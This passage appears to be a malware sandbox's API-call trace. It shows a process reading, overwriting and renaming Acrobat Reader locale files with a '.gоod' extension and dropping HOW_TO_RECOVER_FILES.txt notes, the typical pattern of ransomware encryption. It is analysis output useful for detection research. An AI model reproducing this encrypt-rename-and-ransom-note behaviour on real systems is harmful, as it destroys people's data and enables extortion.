nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.548] GetFileType (hFile=0x630) returned 0x1 [0181.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.548] GetFileType (hFile=0x630) returned 0x1 [0181.548] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f56 [0181.548] WriteFile (in: hFile=0x630, lpBuffer=0x34fc530*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34fc530*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0181.549] CloseHandle (hObject=0x630) returned 1 [0181.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.549] GetFileType (hFile=0x630) returned 0x1 [0181.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.549] GetFileType (hFile=0x630) returned 0x1 [0181.549] ReadFile (in: hFile=0x630, lpBuffer=0x34fe858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34fe858*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0181.933] CloseHandle (hObject=0x630) returned 1 [0181.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.934] GetFileType (hFile=0x630) returned 0x1 [0181.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.934] GetFileType (hFile=0x630) returned 0x1 [0181.934] WriteFile (in: hFile=0x630, lpBuffer=0x34f2838*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34f2838*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0181.934] CloseHandle (hObject=0x630) returned 1 [0181.934] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.934] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0181.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0181.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x68a66f22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f66)) returned 1 [0181.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0181.934] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0181.936] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0181.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0181.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0181.937] GetFileType (hFile=0x630) returned 0x1 [0181.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0181.937] GetFileType (hFile=0x630) returned 0x1 [0181.938] WriteFile (in: hFile=0x630, lpBuffer=0x35b7740*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35b7740*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0181.939] CloseHandle (hObject=0x630) returned 1 [0181.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x6a [0181.940] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.940] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.940] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.940] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.940] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0181.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x6a [0181.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.941] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.941] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0181.941] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0181.941] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0181.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0181.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0181.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35c73a8 | out: lpFileInformation=0x35c73a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27)) returned 1 [0181.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0181.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.942] GetFileType (hFile=0x630) returned 0x1 [0181.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.942] GetFileType (hFile=0x630) returned 0x1 [0181.942] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0181.943] ReadFile (in: hFile=0x630, lpBuffer=0x35c7890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35c7890*, lpNumberOfBytesRead=0x1ffebaa8*=0xf27, lpOverlapped=0x0) returned 1 [0181.944] CloseHandle (hObject=0x630) returned 1 [0181.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.944] GetFileType (hFile=0x630) returned 0x1 [0181.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.944] GetFileType (hFile=0x630) returned 0x1 [0181.945] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f27 [0181.945] WriteFile (in: hFile=0x630, lpBuffer=0x35c8d50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35c8d50*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0181.945] CloseHandle (hObject=0x630) returned 1 [0181.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0181.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0181.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0181.949] GetFileType (hFile=0x630) returned 0x1 [0181.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0181.949] GetFileType (hFile=0x630) returned 0x1 [0181.949] ReadFile (in: hFile=0x630, lpBuffer=0x35cb078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35cb078*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0182.768] CloseHandle (hObject=0x630) returned 1 [0182.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0182.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0182.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0182.768] GetFileType (hFile=0x630) returned 0x1 [0182.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0182.768] GetFileType (hFile=0x630) returned 0x1 [0182.768] WriteFile (in: hFile=0x630, lpBuffer=0x350e598*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x350e598*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0182.768] CloseHandle (hObject=0x630) returned 1 [0182.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0182.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0182.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0182.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x69272d4e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f37)) returned 1 [0182.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0182.769] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0182.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0182.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0182.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0182.771] GetFileType 